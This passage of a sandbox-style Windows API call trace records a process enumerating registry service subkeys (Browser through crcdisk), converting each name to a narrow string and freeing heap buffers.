CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.040] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.040] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0191.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.041] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.041] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.041] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.041] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.042] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.042] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.042] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0191.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.042] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.043] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.043] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.043] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0191.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.044] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.044] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f18e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.044] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0191.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.044] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f18e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0191.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0191.045] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 